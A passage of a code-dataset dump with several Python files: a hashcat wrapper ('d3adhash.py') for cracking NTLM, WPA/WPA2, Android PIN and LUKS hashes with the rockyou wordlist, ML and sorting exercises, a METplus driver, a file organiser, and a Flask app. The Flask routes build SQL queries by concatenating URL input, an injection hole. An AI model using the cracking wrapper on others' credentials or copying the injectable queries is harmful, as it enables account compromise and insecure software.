400\n },\n {\n \"name\": \"SHA1\",\n \"hashType\": 1400\n },\n {\n \"name\": \"SHA256\",\n \"hashType\": 1400\n },\n {\n \"name\": \"SHA512\",\n \"hashType\": 1700\n },\n {\n \"name\": \"LM Hash\",\n \"hashType\": 3000\n },\n {\n \"name\": \"NTLM Hash\",\n \"hashType\": 1000\n },\n {\n \"name\": \"NetNTLM v2\",\n \"hashType\": 5600\n },\n {\n \"name\": \"WPA/WPA2\",\n \"hashType\": 2500\n },\n {\n \"name\": \"WPA/WPA2 (PMK)\",\n \"hashType\": 2501\n },\n {\n \"name\": \"Android PIN/Passphrase\",\n \"hashType\": 5800\n },\n {\n \"name\": \"LUKS\",\n \"hashType\": 14600\n }\n]\n\nif __name__ == \"__main__\":\n # Generate menu and prompt user for option\n for count, option in enumerate(options, 1):\n print(C.GREEN, f\"[{count}] {option['name']}\", C.RESET, sep='')\n\n while True:\n selection = input(\"Enter selection: \")\n\n if selection.isdigit() and 1 <= int(selection) <= len(options):\n selection = int(selection)\n break\n else:\n print(\"Bad selection, please try again.\")\n\n selectedItem = options[selection - 1]\n\n # prompt user for hash and wordlist\n challenge = input(\"Hash? \")\n print(C.RED, f\"Kali Default: /usr/share/wordlists/rockyou.txt\", C.RESET, sep='')\n wordlist = input(\"Wordlist path? \")\n\n command = HASHCAT_BASE_COMMAND.format(\n type=selectedItem['hashType'],\n hash=challenge,\n wordlist=wordlist,\n )\n\n print(C.YELLOW, f\"\\nExecuting:\\n {command}\", C.RESET, sep='')\n os.system(command)\n print(C.CYAN, f\"\\nTo see results Run:\\n {command} --show\", C.RESET, sep='')\n print(C.CYAN, f\"\\nTo save results Run:\\n {command} -o .txt\", C.RESET, sep='')\n\n print(\"\\nExecution complete. Goodbye.\")\n","sub_path":"d3adhash.py","file_name":"d3adhash.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"463889140","text":"def split_encode_series(input_str):\r\n if len(input_str) == 0:\r\n return []\r\n\r\n previous_c = input_str[0]\r\n n = 0\r\n for c in input_str:\r\n if c == previous_c:\r\n n += 1\r\n else:\r\n yield (n, previous_c)\r\n n = 1\r\n previous_c = c\r\n yield (n, previous_c)\r\n\r\n\r\ndef encode_series(series):\r\n result_str = []\r\n for n, c in series:\r\n if n > 1:\r\n result_str.append(str(n))\r\n result_str.append(c)\r\n return \"\".join(result_str)\r\n\r\n\r\ndef rle_encode(input_str):\r\n return encode_series(split_encode_series(input_str))\r\n\r\nfrom string import digits\r\ndef rle_decode(input_str):\r\n number_of_symnols = []\r\n result_list = []\r\n for c in input_str:\r\n if c in digits:\r\n number_of_symnols.append(c)\r\n else:\r\n if not number_of_symnols:\r\n number_of_symnols.append(\"1\")\r\n result_list.append(c * int(\"\".join(number_of_symnols)))\r\n number_of_symnols = []\r\n return \"\".join(result_list)\r\n\r\n\r\nprint(rle_decode(input()))\r\n","sub_path":"practice_cource/task4.1-2.2.py","file_name":"task4.1-2.2.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"68324839","text":"\"\"\"\nProgram: CS 115 Lab 10\nAuthor: Christian Esperon\nDescription: This program will open a file and then search its contents\n using linear and binary search.\n\"\"\"\n\n\ndef readfile(filename):\n \"\"\"\n Reads the entire contents of a file into a single string using\n the read() method.\n\n Parameter: the name of the file to read (as a string)\n Returns: the text in the file as a large, possibly multi-line, string\n \"\"\"\n\n infile = open(filename, \"r\") # open file for reading\n\n # Use Python's file read function to read the file contents\n filetext = infile.read().splitlines()\n\n infile.close() # close the file\n\n return filetext # the text of the file, as a single string\n\n\ndef print_list(list_to_print):\n \"\"\"\n Print the contents of a list.\n\n Parameter: the list to print\n Returns: nothing\n \"\"\"\n\n for i, item in enumerate(list_to_print):\n print(i, ': ', item, sep=\"\")\n\n\ndef isNumber(s): # Helper function to check if it is a Number or a string\n try:\n float(s)\n return True\n except ValueError:\n return False\n\ndef find_index_of_min(L,start_index):\n \"\"\"\n Parameter: a list L\n Returns: the index of the minimum element of the list\n (returns None if the list is empty)\n \"\"\"\n\n if L == [] or start_index > (len(L)-1) :\n return None\n elif isNumber(L[0]):\n min = float('inf')\n for i in range(start_index, (len(L))):\n if L[i] < min:\n min = L[i]\n min_index = i\n return min_index\n else:\n min = 'Z'\n for i in range(start_index, (len(L))):\n if L[i] < min:\n min = L[i]\n min_index = i\n return min_index\n\ndef selection_sort(L):\n '''\n Use the selection sort algorithm to sort a list.\n Parameter: unsorted list\n Sorts the original list that was passed to it -- doesn't return anything.\n '''\n\n\n\n\n\n\n for i in range (len(L)-1):\n\n min_index= find_index_of_min(L,i)\n\n x= L[i]\n\n y= L[min_index]\n\n L[i]= L[min_index]\n\n L[min_index]= x\n\n\n print('Swapped elements',i,'and',min_index,'--',x,'and',y)\n\n\n\n\n\nimport sys\nimport math\n\ndef main():\n \"\"\" Read and print a file's contents. \"\"\"\n\n # filename = str(input('Name of input file: '))\n # string = readfile(filename)\n # print()\n # print('The original list of cities is:')\n # for i in range(len(string)):\n # print(i, ':', string[i], sep=\"\")\n filename = str(input('Name of input file: '))\n\n string = readfile(filename)\n\n\n print()\n print('The original list of cities is:')\n for i in range(len(string)):\n print(i, ':', string[i], sep=\"\")\n sorted_list = selection_sort(string)\n print()\n print('The new list of cities is:')\n\n\n print_list(string)\n\nmain()\n","sub_path":"cs115-Programming I/Lab11/lab11b.py","file_name":"lab11b.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"226814048","text":"# knn.py\n# Implementation of the K-nearest neighbor algorithm.\nimport src.util as util\n\n\n# The implementation of the K-nearest neighbor algorithm. Given a test example in the \"run\" method, it will find the k\n# nearest neighbors to that test example found in the training data.\nclass KNN:\n\n # Creates an instance of the algorithm, which requires the training_data and a specific k to evaluate in future\n # calls to run.\n def __init__(self, training_data, k):\n self.training_data = training_data.copy()\n self.dist = self.get_dist_matrix(self.training_data)\n self.k = k\n self.last_nearest_neighbors = None\n\n def get_dist_matrix(self, data):\n print(\"getting dist matrix\")\n dist = {}\n for ex1 in data.data:\n dist[ex1] = {}\n for ex2 in data.data:\n if ex1 is ex2:\n continue\n dist[ex1][ex2] = self.training_data.distance(ex1, ex2)\n print(\"finished dist matrix\")\n return dist\n\n # Returns a list of training examples that are the k-closest neighbors to the given observation.\n def find_closest_neighbors(self, observation):\n # Initialize k_smallest to be a list of 'None's. After the for loop is finished it should contain k tuples\n # representing the k-nearest neighbors to the observation. The first position is the distance and the second\n # position is the example itself.\n k_smallest = [None for i in range(self.k)]\n # Stores the index of either (1) the first None value or (2) the largest item if no None's are present.\n max_index = 0\n # Iterate across each example in the training data...\n for example in self.training_data.data:\n dist = None\n if example in self.dist and observation in self.dist[example]:\n dist = self.dist[example][observation]\n else:\n dist = self.training_data.distance(example, observation)\n # ...filling in any None values in k_smallest or replacing any examples with larger distances.\n if k_smallest[max_index] is None or k_smallest[max_index][0] > dist:\n k_smallest[max_index] = (dist, example)\n # We also need to re-calculate the max_index given the current k_smallest list.\n for i in range(len(k_smallest)):\n # If a None is encountered, always set it as max_index (we want remove all Nones right away)\n if k_smallest[i] is None:\n max_index = i\n break\n # Otherwise, try to find the maximum index if there are no None's.\n if k_smallest[i][0] > k_smallest[max_index][0]:\n max_index = i\n self.last_nearest_neighbors = k_smallest\n # Lastly, we want k_smallest to only store the examples themselves, no distances.\n k_smallest_examples = []\n for i in range(len(k_smallest)):\n if k_smallest[i] is not None:\n k_smallest_examples.append(k_smallest[i][1])\n return k_smallest_examples\n\n # Input an example test, output probability map of class\n def run(self, example):\n k_closest = self.find_closest_neighbors(example)\n probability = util.calculate_class_distribution(k_closest, self.training_data.class_col)\n return probability\n\n\n\n","sub_path":"src/centers/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":3414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"57623572","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\n'''!@namespace master_metplus\nMain script the processes all the tasks in the PROCESS_LIST\n'''\n\nimport os\nimport sys\nimport logging\nimport getopt\nimport config_launcher\nimport time\nimport datetime\nimport calendar\nimport produtil.setup\n# from produtil.run import run\nimport met_util as util\nimport config_metplus\n\nfrom pcp_combine_wrapper import PcpCombineWrapper\nfrom grid_stat_wrapper import GridStatWrapper\nfrom regrid_data_plane_wrapper import RegridDataPlaneWrapper\nfrom tc_pairs_wrapper import TcPairsWrapper\nfrom extract_tiles_wrapper import ExtractTilesWrapper\nfrom series_by_lead_wrapper import SeriesByLeadWrapper\nfrom series_by_init_wrapper import SeriesByInitWrapper\nfrom stat_analysis_wrapper import StatAnalysisWrapper\nfrom make_plots_wrapper import MakePlotsWrapper\nfrom mode_wrapper import ModeWrapper\nfrom usage_wrapper import UsageWrapper\nfrom command_builder import CommandBuilder\nfrom tcmpr_plotter_wrapper import TCMPRPlotterWrapper\n# Keep cyclone_plotter commented out in repository. It requires cartopy\n# If cartopy is not present then master_metplus will error and exit.\n#from cyclone_plotter_wrapper import CyclonePlotterWrapper\nfrom pb2nc_wrapper import PB2NCWrapper\nfrom point_stat_wrapper import PointStatWrapper\nfrom tc_stat_wrapper import TcStatWrapper\nfrom gempak_to_cf_wrapper import GempakToCFWrapper\n\n'''!@var logger\nThe logging.Logger for log messages\n'''\nlogger = None\n\n\ndef main():\n \"\"\"!Main program.\n\n Master MET+ script that invokes the necessary Python scripts\n to perform various activities, such as series analysis.\"\"\"\n\n # Job Logger\n produtil.log.jlogger.info('Top of master_metplus')\n\n # Used for logging and usage statment\n cur_filename = sys._getframe().f_code.co_filename\n cur_function = sys._getframe().f_code.co_name\n\n # Setup Task logger, Until Conf object is created, Task logger is\n # only logging to tty, not a file.\n logger = logging.getLogger('master_metplus')\n logger.info('logger Top of master_metplus.')\n\n # Parse arguments, options and return a config instance.\n p = config_metplus.setup(filename=cur_filename)\n\n # NOW we have a conf object p, we can now get the logger\n # and set the handler to write to the LOG_METPLUS\n # TODO: Frimel setting up logger file handler.\n # Setting up handler i.e util.get_logger should be moved to\n # the setup wrapper and encapsulated in the config object.\n # than you would get it this way logger=p.log(). The config\n # object has-a logger we want.\n logger = util.get_logger(p)\n # logger.info('Top of master_metplus after conf file setup.')\n\n # This is available in each subprocess from os.system BUT\n # we also set it in each process since they may be called stand alone.\n os.environ['MET_BASE'] = p.getdir('MET_BASE')\n\n # Use config object to get the list of processes to call\n process_list = util.getlist(p.getstr('config', 'PROCESS_LIST'))\n\n # Keep this comment.\n # When running commands in the process_list, reprocess the\n # original command line using (item))[sys.argv[1:]].\n #\n # You could call each task (ie. run_tc_pairs.py) without any args since\n # the final METPLUS_CONF file was just created from config_metplus.setup,\n # and each task, also calls setup, which use an existing final conf\n # file over command line args.\n #\n # both work ...\n # Note: Using (item))sys.argv[1:], is preferable since\n # it doesn't depend on the conf file existing.\n processes = []\n for item in process_list:\n try:\n logger = p.log(item)\n command_builder = getattr(sys.modules[__name__], item + \"Wrapper\")(\n p, logger)\n except AttributeError:\n raise NameError(\"Process %s doesn't exist\" % item)\n exit()\n\n processes.append(command_builder)\n\n if p.getstr('config', 'LOOP_METHOD') == \"processes\":\n for process in processes:\n # referencing using repr(process.app_name) in\n # log since it may be None,\n # if not set in the command builder subclass' contsructor,\n # and no need to generate an exception because of that.\n produtil.log.postmsg('master_metplus Calling run_all_times '\n 'in: %s wrapper.' % repr(process.app_name))\n process.run_all_times()\n\n elif p.getstr('config', 'LOOP_METHOD') == \"times\":\n use_init = p.getbool('config', 'LOOP_BY_INIT', True)\n if use_init:\n time_format = p.getstr('config', 'INIT_TIME_FMT')\n start_t = p.getstr('config', 'INIT_BEG')\n end_t = p.getstr('config', 'INIT_END')\n time_interval = p.getint('config', 'INIT_INCREMENT')\n else:\n time_format = p.getstr('config', 'VALID_TIME_FMT')\n start_t = p.getstr('config', 'VALID_BEG')\n end_t = p.getstr('config', 'VALID_END')\n time_interval = p.getint('config', 'VALID_INCREMENT')\n\n if time_interval < 60:\n print(\"ERROR: time_interval parameter must be \"\n \"greater than 60 seconds\")\n exit(1)\n\n loop_time = calendar.timegm(time.strptime(start_t, time_format))\n end_time = calendar.timegm(time.strptime(end_t, time_format))\n while loop_time <= end_time:\n run_time = time.strftime(\"%Y%m%d%H%M\", time.gmtime(loop_time))\n logger.info(\"****************************************\")\n logger.info(\"* RUNNING MET+\")\n if use_init:\n logger.info(\"* at init time: \" + run_time)\n else:\n logger.info(\"* at valid time: \" + run_time)\n logger.info(\"****************************************\")\n for process in processes:\n # Set valid time to -1 if using init and vice versa\n if use_init:\n process.run_at_time(run_time, -1)\n else:\n process.run_at_time(-1, run_time)\n process.clear()\n\n loop_time += time_interval\n\n else:\n print(\"ERROR: Invalid LOOP_METHOD defined. \" + \\\n \"Options are processes, times\")\n exit()\n exit()\n\n # TODO - remove this, I don't think this is being used.\n # If removing, also remove import produtil.run\n # If using ... than the run(cmd) will need to be correctly called.\n # for item in process_list:\n #\n # cmd_shell = cmd.to_shell()\n # logger.info(\"INFO | [\" + cur_filename + \":\" +\n # cur_function + \"] | \" + \"Running: \" + cmd_shell)\n # ret = run(cmd)\n # if ret != 0:\n # logger.error(\"ERROR | [\" + cur_filename + \":\" +\n # cur_function + \"] | \" + \"Problem executing: \" +\n # cmd_shell)\n # exit(0)\n\n\nif __name__ == \"__main__\":\n try:\n # If jobname is not defined, in log it is 'NO-NAME'\n if 'JLOGFILE' in os.environ:\n produtil.setup.setup(send_dbn=False, jobname='run-METplus',\n jlogfile=os.environ['JLOGFILE'])\n else:\n produtil.setup.setup(send_dbn=False, jobname='run-METplus')\n produtil.log.postmsg('master_metplus is starting')\n\n main()\n produtil.log.postmsg('master_metplus completed')\n except Exception as e:\n produtil.log.jlogger.critical(\n 'master_metplus failed: %s' % (str(e),), exc_info=True)\n sys.exit(2)\n","sub_path":"ush/master_metplus.py","file_name":"master_metplus.py","file_ext":"py","file_size_in_byte":7526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"399559224","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation\n\nx_train = np.array([[0.1, 0.2, 0.3], [0.4, 0.5, 0.6], [0.7, 0.8, 0.9]])\ny_train = np.array([[0, 0, 1], [0, 1, 0], [1, 0, 0]])\n\nx_test = np.array([[0.1, 0.3, 0.5]])\ny_test = np.array([[0, 0, 1]])\n\nmodel = Sequential()\nmodel.add(Dense(2, input_dim=3))\nmodel.add(Activation('sigmoid'))\nmodel.add(Dense(3))\nmodel.add(Activation('softmax'))\nmodel.compile(optimizer='SGD', loss='categorical_crossentropy', metrics=['accuracy'])\n\nmodel.fit(x_train, y_train)\n\nprint(model.evaluate(x_test, y_test, verbose=0))\n","sub_path":"src/06_keras/01_keras_hw.py","file_name":"01_keras_hw.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"160250786","text":"import os\r\nimport shutil\r\nimport datetime\r\ndir_src=('C:\\\\Users\\\\Admin\\\\Downloads')\r\ndir_des={\"jpg\":\"D:\\Downloads\\Images\",\"pdf\":\"D:\\Downloads\\PDF\",\"xls\":\"D:Downloads\\Excel\",\"docx\":\"D:Downloads\\Documents\"\r\n ,\"zip\":\"D:Downloads\\ZIP Files\",\"csv\":\"D:Downloads\\CSV Files\",\"exe\":\"D:Downloads\\Executables\",\r\n \"xlsx\":\"D:Downloads\\Excel\",\"Others\":\"D:Downloads\\Others\"}\r\nDebugFile='D:/Downloads/DebugFiles.txt'\r\nfileExist=False\r\nif os.path.exists(DebugFile):\r\n mode='a'\r\nelse:\r\n mode='w'\r\nfile = open(DebugFile, mode)\r\nfile.write('Process Started at '+str(datetime.datetime.now())+'\\n')\r\nfor key in dir_des:\r\n try:\r\n os.mkdir(dir_des[key])\r\n except FileExistsError:\r\n file.writelines(dir_des[key]+ ' Directory already Exists\\n')\r\n \r\nfor key in dir_des:\r\n for filename in os.listdir(dir_src):\r\n if filename.split('.')[-1].upper() == key.upper():\r\n try:\r\n shutil.move(dir_src + '\\\\' + filename, dir_des[key])\r\n except OSError:\r\n fileExist=True\r\n file.writelines(filename + ' already Exists\\n')\r\n\r\nfor filename in os.listdir(dir_src):\r\n try:\r\n if fileExist==False:\r\n shutil.move(dir_src + '\\\\' + filename, dir_des['Others'])\r\n except OSError:\r\n file.writelines(filename + ' already Exists\\n')\r\n pass\r\nfile.write('Process Ended at '+str(datetime.datetime.now())+'\\n\\n')","sub_path":"Filecopy.py","file_name":"Filecopy.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212986448","text":"from time import time\n\nimport numpy as np\n\nfrom cppWrapper.VIPS_PythonWrapper import VIPS_PythonWrapper\nfrom cppWrapper.MMD import MMD\nfrom sampler.VIPS.LearningProgress import LearningProgress\nimport os\n\nclass VIPS:\n def initialize_from_config(self, config):\n self.config = config\n\n self.num_mmd_evals = self.config.COMMON['num_mmd_evals']\n self.mmd_alpha = self.config.COMMON['mmd_alpha']\n self.mmd_rate = self.config.COMMON['mmd_rate']\n self.progress_rate = self.config.COMMON['progress_rate']\n self.progress_path = self.config.COMMON['progress_path']\n self.path_for_gmm_dumps = self.config.COMMON['gmm_dumps_path']\n if self.path_for_gmm_dumps is not None and not os.path.exists(self.path_for_gmm_dumps):\n os.makedirs(self.path_for_gmm_dumps)\n self.rate_for_gmm_dumps = self.config.COMMON['gmm_dumps_rate']\n self.gmm_dump_timesteps = []\n self.start = time()\n\n self.num_initial_samples = self.config.LTS['num_initial_samples']\n self.outer_iterations = self.config.LTS['outer_iterations']\n self.new_comps_to_add = self.config.LTS['new_components_to_add']\n self.comp_adding_rate = self.config.LTS['component_adding_rate']\n self.max_exploration_gain = self.config.LTS['initial_max_exploration_gain']\n self.decrease_rate_for_exploration_gain = self.config.LTS['decrease_rate_for_exploration_gain']\n self.min_component_weight = self.config.LTS['min_components_weight']\n self.new_samples_per_iter = self.config.LTS['num_samples_per_iteration']\n self.em_iterations = self.config.LTS['iterations_for_mixture_updates']\n self.max_components = self.config.LTS['max_components']\n self.sample_reuse_factor = self.config.LTS['sample_reuse_factor']\n\n self.comp_kl_bound_max = self.config.COMPONENT_OPTIMIZATION['epsilon']\n self.comp_kl_bound_fact = self.config.COMPONENT_OPTIMIZATION['upper_kl_bound_fac']\n self.ridge_for_MORE = self.config.COMPONENT_OPTIMIZATION['ridge_for_MORE']\n self.max_active_samples = self.config.COMPONENT_OPTIMIZATION['max_active_samples']\n self.weight_kl_bound = self.config.WEIGHT_OPTIMIZATION['epsilon']\n self.dont_learn_correlations = self.config.COMPONENT_OPTIMIZATION['no_correlations']\n\n self.update_plots = self.config.FUNCTIONS['plot_fctn']\n self.plot_rate = self.config.PLOTTING['rate']\n\n\n\n def __init__(self, num_dimensions, target_lnpdf, initial_mixture, config, groundtruth_samples=None, groundtruth_lnpdfs=None):\n self.initialize_from_config(config)\n self.target_lnpdf = target_lnpdf\n self.groundtruth_samples = groundtruth_samples\n self.groundtruth_likelihoods = groundtruth_lnpdfs\n self.num_dimensions = num_dimensions\n self.vips_c = VIPS_PythonWrapper(num_dimensions, self.config.COMMON['num_threads'])\n self.progress = LearningProgress(self.num_dimensions)\n\n self.add_initial_components(initial_mixture)\n self.draw_initial_samples()\n self.initialize_mmd()\n\n if self.progress_path is not None:\n np.savez(self.progress_path + \"/config\",\n configLTS=self.config.LTS,\n configCOMMON=self.config.COMMON,\n configCOMPOPT=self.config.COMPONENT_OPTIMIZATION,\n configWEIGHTOPT=self.config.WEIGHT_OPTIMIZATION,\n )\n\n\n def learn_sampling(self):\n for i in range(0, self.outer_iterations):\n num_components = len(self.vips_c.get_weights()[0])\n adding_components_start = time()\n # add and delete components\n if (self.new_comps_to_add >= 0) and (i % self.comp_adding_rate == 0) \\\n and i > 0 and num_components < self.max_components:\n max_exploration_gain = np.exp(-self.decrease_rate_for_exploration_gain*i) * self.max_exploration_gain\n max_exploration_gain = np.maximum(10, max_exploration_gain)\n self.vips_c.promote_samples_to_components(self.new_comps_to_add,\n max_exploration_gain, 0,\n False, 1000000)\n self.vips_c.delete_low_weight_components(self.min_component_weight)\n\n sampling_start = time()\n # draw new samples\n if (self.new_samples_per_iter > 0):\n num_components = self.vips_c.get_num_components()\n weights = np.ones(num_components)/num_components\n [new_samples, used_components] = self.vips_c.draw_samples_weights(\n self.num_dimensions * num_components * self.new_samples_per_iter, weights)\n new_target_densities = np.nan_to_num(self.target_lnpdf(new_samples))\n self.vips_c.add_samples(new_samples, used_components, new_target_densities)\n self.progress.add_feval(len(new_target_densities))\n sampling_end = time()\n\n # select active samples\n self.vips_c.activate_newest_samples(self.sample_reuse_factor * len(used_components))\n\n print(\"----------------------------\")\n print(\"adding components took \" + \"%0.6f\" % (sampling_start - adding_components_start))\n print(\"sampling took \" + \"%0.2f\" % (sampling_end - sampling_start))\n print(\"activating samples tool \" + \"%0.6f\" % (time() - sampling_end))\n # EM\n for j in range(0, self.em_iterations):\n self.update_progress(i, j)\n self.vips_c.update_targets_for_KL_bounds(True, True)\n print(\"----------\")\n print('Iteration ( Sampling(EM) ): ' + str(i) + '(' + str(j) + ')')\n print('Samples ( active/total ): ' + str(self.progress.num_samples) + '/' + str(\n self.progress.num_samples_total))\n print('Number of components: ' + str(int(self.progress.num_components[-1])))\n\n before_weight_update = time()\n self.vips_c.update_weights(self.weight_kl_bound, 0, 0)\n after_weight_update = time()\n\n self.vips_c.apply_lower_bound_on_weights(1e-30 * np.ones(self.vips_c.get_num_components()))\n\n self.vips_c.update_components(self.comp_kl_bound_max,\n self.comp_kl_bound_fact, 0,\n self.ridge_for_MORE,\n 1000,\n self.max_active_samples,\n self.dont_learn_correlations)\n after_component_update = time()\n\n print(\"updating weights took \" + \"%0.2f\" % (after_weight_update - before_weight_update))\n print(\"updating components took \" + \"%0.2f\" % (after_component_update - after_weight_update))\n\n self.dump_gmm(i)\n self.do_plots(i, j)\n\n if self.progress_rate > 0:\n np.savez(self.progress_path + \"result\",\n progress=self.progress)\n print(\"done\")\n\n def add_initial_components(self, initial_mixture):\n initial_means = initial_mixture.get_numpy_means()\n initial_covs = initial_mixture.get_numpy_covs()\n initial_weights = np.ones(initial_mixture.num_components) / initial_mixture.num_components\n self.vips_c.add_components(initial_weights, initial_means, initial_covs)\n target_densities = np.empty(initial_mixture.num_components)\n for i in range(0, initial_mixture.num_components):\n target_densities[i] = np.nan_to_num(self.target_lnpdf(initial_means[i]))\n component_indices = np.arange(0, initial_mixture.num_components, dtype=np.int32)\n self.vips_c.add_samples(initial_means, component_indices, target_densities)\n\n def draw_initial_samples(self):\n if self.num_initial_samples > 0:\n [initial_samples, used_components] = self.vips_c.draw_samples(self.num_initial_samples, 1.0)\n new_target_densities = np.nan_to_num(self.target_lnpdf(initial_samples))\n self.vips_c.add_samples(initial_samples, used_components, new_target_densities)\n\n def initialize_mmd(self):\n if self.groundtruth_samples is not None:\n self.mmd = MMD(self.groundtruth_samples)\n self.mmd.set_kernel(self.mmd_alpha)\n if self.groundtruth_likelihoods is None:\n self.groundtruth_likelihoods = np.array([self.target_lnpdf(sample) for sample in self.groundtruth_samples]).reshape(-1)\n self.progress.set_groundtruth_likelihoods(self.groundtruth_likelihoods)\n else:\n self.mmd = None\n\n def update_progress(self, sampling_iteration, EM_iteration):\n self.progress.add_mixture_entropy(self.vips_c.get_entropy_estimate_on_active_samples())\n [self.progress.num_samples, self.progress.num_samples_total] = self.vips_c.get_num_samples()\n # add timestamp\n self.progress.add_timestamp(time())\n # add KLs\n [KL_weights, KLs_components] = self.vips_c.get_last_KLs()\n self.progress.add_KL_weights(KL_weights)\n self.progress.add_KL_components(KLs_components)\n # add weights\n [weights, _] = self.vips_c.get_weights()\n self.progress.add_weights(weights)\n # add expected rewards and expected target_densities\n [expected_rewards, expected_target_densities, comp_etd_history, comp_reward_history] = self.vips_c.get_expected_rewards()\n self.progress.add_expected_rewards(expected_rewards)\n self.progress.add_expected_target_densities(expected_target_densities)\n self.progress.comp_reward_history = comp_etd_history\n # add number of components\n self.progress.add_num_components(int(len(weights)))\n # add mixture densities on groundtruth\n if self.groundtruth_samples is not None:\n densities_on_gt = self.vips_c.get_log_densities_on_mixture(self.groundtruth_samples)\n self.progress.add_learned_densities_on_gt(densities_on_gt)\n if ((self.mmd_rate > 0)\n and ((sampling_iteration * self.em_iterations + EM_iteration + 1) % self.mmd_rate == 0)):\n mmd = 0\n for i in range(self.config.COMMON['num_mmd_evals']):\n test_samples = self.vips_c.draw_samples(2000, 1)[0]\n mmd += self.mmd.compute_MMD_gt(test_samples, True)\n self.progress.add_mmd(mmd / self.config.COMMON['num_mmd_evals'])\n\n def dump_gmm(self, i):\n if self.path_for_gmm_dumps is not None and i % self.rate_for_gmm_dumps == 0:\n [weights, means, covs] = self.vips_c.get_model()\n self.gmm_dump_timesteps.append(time() - self.start)\n np.savez(self.path_for_gmm_dumps + 'gmm_dump_' + str(i), weights=weights, means=means, covs=covs,\n timestamps=self.gmm_dump_timesteps, fevals=np.sum(self.progress.num_feval))\n\n def do_plots(self, sampling_iteration, EM_iteration):\n if self.plot_rate > 0 and ((self.update_plots is not None)\n and ((sampling_iteration * self.em_iterations + EM_iteration) % self.plot_rate == 0)):\n self.update_plots(self)\n\n\n\n","sub_path":"python/sampler/VIPS/VIPS.py","file_name":"VIPS.py","file_ext":"py","file_size_in_byte":11372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"228961125","text":"import pandas as pd\nimport numpy as np\nimport os\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nimport sqlalchemy\nfrom sqlalchemy import create_engine, MetaData, inspect\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String, Numeric, Text, Float\nfrom sqlalchemy.sql import text\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.ext.automap import automap_base\nfrom flask import Flask, jsonify, render_template, request, redirect, url_for\nimport json\nfrom datetime import datetime as dt\nfrom dateutil.parser import parse\nfrom flask_sqlalchemy import SQLAlchemy\n\n\n\t\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n\n#################################################\n# Database Setup\n#################################################\n# app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL', '') or \"sqlite:///belly_button_biodiversity.sqlite\"\napp.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///belly_button_biodiversity.sqlite\"\n\nengine = create_engine(\"sqlite:///belly_button_biodiversity.sqlite\", pool_recycle=3600)\ndb = SQLAlchemy(app)\ndb.Model.metadata.reflect(bind=db.engine)\n\nBase = automap_base()\nBase.classes.keys()\nBase.prepare(db.engine, reflect=True)\n\ninspector = inspect(db.engine)\ninspector.get_table_names()\ninspector.get_columns(\"otu\")\ninspector.get_columns(\"samples_metadata\")\ninspector.get_columns(\"samples\")\n\n\nclass OTU(Base):\n __tablename__ = \"otu\"\n __table_args__ = {\"extend_existing\":True}\n otu_id = db.Column(Text, primary_key=True)\n\t\n def __repr__(self):\n return '' % (self.name)\n\n\nclass Samples(Base):\n __tablename__ = \"samples\"\n __table_args__ = {\"extend_existing\":True}\n otu_id = db.Column(Text,primary_key=True)\n\t\n def __repr__(self):\n return '' % (self.name)\n\n\t\nclass Samples_Metadata(Base):\n __tablename__ = \"samples_metadata\"\n __table_args__ = {\"extend_existing\":True}\n SAMPLEID = db.Column(Text,primary_key=True)\n\t\n def __repr__(self):\n return '' % (self.name)\n\t\n\nsession = Session(db.engine)\nconn = db.engine.connect()\t\ndb.create_all()\n\n\t\n#################################################\n# Flask Routes\n#################################################\n@app.route(\"/\")\ndef home():\n\t # \"\"\"Render Home Page\"\"\"\n\treturn render_template(\"index.html\")\n\n\t\n@app.route(\"/names\")\ndef sample_names():\n names = inspector.get_columns('samples')\n df = pd.DataFrame(names, columns=['name'])\n df.columns = ['sample_name']\n sample_names_df = df.iloc[1:]\n names_list = sample_names_df['sample_name'].tolist()\n return jsonify(names_list)\n\n\n@app.route('/otu')\ndef otu_describe():\n sql = \"select * from OTU\"\n df = pd.read_sql_query(sql, db.session.bind)\n df_arr = df.lowest_taxonomic_unit_found.unique()\n descriptions = df_arr.tolist()\n return jsonify(descriptions)\n\n\n@app.route('/metadata/')\ndef samp_meta(sample):\n s = sample.replace(\"BB_\",\"\")\n sqlquery = (r'select AGE, BBTYPE, ETHNICITY, GENDER, LOCATION, SAMPLEID from Samples_Metadata where SAMPLEID = \"' + s + r'\"')\n for row in conn.engine.execute(sqlquery):\n results = dict(row)\n return jsonify(results)\n\n\n@app.route('/samples/')\ndef samples(sample):\n sqlquery = (r'select * from Samples')\n datadetail = []\n for row in conn.engine.execute(sqlquery): \n datadetail.append(dict(row))\n df = pd.DataFrame(datadetail)\n df = df[df[sample] > 1]\n df = df.sort_values(by=sample, ascending=0)\n results = [{\n\t\t\"otu_ids\": df[sample].index.values.tolist(),\n\t\t\"sample_values\": df[sample].values.tolist()\n }]\n return jsonify(results)\n\n\n@app.route('/wfreq/')\ndef wfreq(sample):\n\ts = sample.replace(\"BB_\",\"\")\n\tsql = 'select WFREQ from Samples_Metadata where SAMPLEID = ' + s\n\tdf = 